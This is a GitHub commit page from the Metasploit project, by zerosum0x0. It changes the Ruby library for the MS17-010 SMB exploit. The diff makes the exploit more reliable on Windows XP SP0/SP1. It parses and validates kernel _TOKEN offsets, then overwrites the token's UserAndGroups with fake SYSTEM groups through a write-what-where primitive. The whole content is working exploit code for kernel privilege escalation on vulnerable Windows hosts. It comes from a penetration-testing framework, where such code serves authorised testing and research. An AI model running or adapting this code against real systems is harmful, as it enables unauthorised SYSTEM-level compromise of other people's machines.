Skip to content

Commit d5d3769

Browse files
author
zerosum0x0
committed
more robust Windows XP SP0/SP1 fix
1 parent a9fa1b6 commit d5d3769

File tree

1 file changed

+69
-25
lines changed

1 file changed

+69
-25
lines changed

lib/msf/core/exploit/smb/client/psexec_ms17_010.rb

Lines changed: 69 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -126,33 +126,10 @@ def modify_token()
126126
print_status("TOKEN data = #{bin_to_hex(tokenData)}")
127127
end
128128

129-
userAndGroupCount = tokenData[@ctx['TOKEN_USER_GROUP_CNT_OFFSET']..-1].unpack("V")[0] #unpack_from('<I', tokenData, info['TOKEN_USER_GROUP_CNT_OFFSET'])[0]
130-
userAndGroupsAddr = tokenData[@ctx['TOKEN_USER_GROUP_ADDR_OFFSET']..-1].unpack(fmt)[0] #unpack_from('<'+fmt, tokenData, info['TOKEN_USER_GROUP_ADDR_OFFSET'])[0]
129+
userAndGroupsAddr, userAndGroupCount = get_group_data_from_token(tokenData)
131130

132-
if @ctx['os'] == 'WINXP' and @ctx['arch'] == 'x86'
133-
if userAndGroupCount > 10 or userAndGroupCount == 0 # check NULL too
134-
print_error("Bad TOKEN offsets detected (group count = #{userAndGroupCount}), performing workaround...")
135-
@ctx['TOKEN_USER_GROUP_CNT_OFFSET'] = @ctx['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
136-
@ctx['TOKEN_USER_GROUP_ADDR_OFFSET'] = @ctx['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
131+
vprint_status("Overwriting _TOKEN UserAndGroups (#{userAndGroupsAddr.to_s(16)})...")
137132

138-
userAndGroupCount = tokenData[@ctx['TOKEN_USER_GROUP_CNT_OFFSET']..-1].unpack("V")[0]
139-
userAndGroupsAddr = tokenData[@ctx['TOKEN_USER_GROUP_ADDR_OFFSET']..-1].unpack(fmt)[0]
140-
141-
if datastore['DBGTRACE']
142-
print_status("New TOKEN offsets (group count = #{userAndGroupCount})")
143-
end
144-
145-
# hopefully its not bad anymore
146-
if userAndGroupCount > 10 or userAndGroupCount == 0 # check NULL too
147-
raise MS17_010_Error, "Bad TOKEN offsets after workround (group count = #{userAndGroupCount})... Abort > BSOD"
148-
end
149-
end
150-
end
151-
152-
vprint_status("UserAndGroupCount: 0x#{userAndGroupCount.to_s}")
153-
vprint_status("UserAndGroupsAddr: 0x#{userAndGroupsAddr.to_s(16)}")
154-
155-
vprint_status('Overwriting token UserAndGroups...')
156133
# modify UserAndGroups info
157134
fakeUserAndGroupCount, fakeUserAndGroups = create_fake_SYSTEM_UserAndGroups(userAndGroupCount, userAndGroupsAddr)
158135
if fakeUserAndGroupCount != userAndGroupCount
@@ -188,6 +165,73 @@ def modify_token()
188165

189166
end
190167

168+
def validate_token_offset(tokenData, userAndGroupCountOffset, userAndGroupsAddrOffset)
169+
# struct _TOKEN:
170+
# ...
171+
# ULONG UserAndGroupCount; // Ro: 4-Bytes
172+
# ULONG RestrictedSidCount; // Ro: 4-Bytes
173+
# ...
174+
# PSID_AND_ATTRIBUTES UserAndGroups; // Wr: sizeof(void*)
175+
# PSID_AND_ATTRIBUTES RestrictedSids; // Ro: sizeof(void*)
176+
# ...
177+
178+
userAndGroupCount, restrictedSidCount = tokenData[userAndGroupCountOffset..-1].unpack('VV')
179+
userAndGroupsAddr, restrictedSids = tokenData[userAndGroupsAddrOffset..-1].unpack(@ctx['PTR_FMT']*2)
180+
181+
if datastore['DBGTRACE']
182+
print_status("userAndGroupCount: 0x#{userAndGroupCount.to_s(16)}")
183+
print_status("userAndGroupsAddr: 0x#{userAndGroupsAddr.to_s(16)}")
184+
print_status("RestrictedSids: 0x#{restrictedSids.to_s(16)}")
185+
print_status("RestrictedSidCount: 0x#{restrictedSidCount.to_s(16)}")
186+
end
187+
188+
# RestrictedSidCount MUST be 0
189+
# RestrictedSids MUST be NULL
190+
#
191+
# userandGroupCount must NOT be 0
192+
# userandGroupsAddr must NOT be NULL
193+
#
194+
# Could also add a failure point here if userAndGroupCount >= x
195+
196+
success = true
197+
198+
if restrictedSidCount != 0 or restrictedSids != 0 or userAndGroupCount == 0 or userAndGroupsAddr == 0
199+
print_error('Bad TOKEN_USER_GROUP offsets detected while parsing tokenData!')
200+
success = false
201+
end
202+
203+
return success, userAndGroupCount, userAndGroupsAddr
204+
end
205+
206+
def get_group_data_from_token(tokenData)
207+
208+
# try with default offsets
209+
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(tokenData, @ctx['TOKEN_USER_GROUP_CNT_OFFSET'], @ctx['TOKEN_USER_GROUP_ADDR_OFFSET'])
210+
211+
# hack to fix XP SP0 and SP1
212+
# I will avoid over-engineering a more elegant solution and leave this as a hack,
213+
# since XP SP0 and SP1 is the only edge case in a LOT of testing!
214+
if not success and @ctx['os'] == 'WINXP' and @ctx['arch'] == 'x86'
215+
print_status('Attempting WINXP SP0/SP1 x86 TOKEN_USER_GROUP workaround')
216+
217+
# update with hack offsets
218+
@ctx['TOKEN_USER_GROUP_CNT_OFFSET'] = @ctx['TOKEN_USER_GROUP_CNT_OFFSET_SP0_SP1']
219+
@ctx['TOKEN_USER_GROUP_ADDR_OFFSET'] = @ctx['TOKEN_USER_GROUP_ADDR_OFFSET_SP0_SP1']
220+
221+
# try again with hack offsets
222+
success, userAndGroupCount, userAndGroupsAddr = validate_token_offset(tokenData, @ctx['TOKEN_USER_GROUP_CNT_OFFSET'], @ctx['TOKEN_USER_GROUP_ADDR_OFFSET'])
223+
end
224+
225+
# still no good. Abort because something is wrong
226+
if not success
227+
raise MS17_010_Error, 'Bad TOKEN_USER_GROUP offsets. Abort > BSOD'
228+
end
229+
230+
# token parsed and validated
231+
return userAndGroupsAddr, userAndGroupCount
232+
end
233+
234+
191235
def write_what_where(what, where)
192236
if where == 0
193237
raise MS17_010_Error, 'Attempted to write to a NULL pointer!'

0 commit comments

Comments
 (0)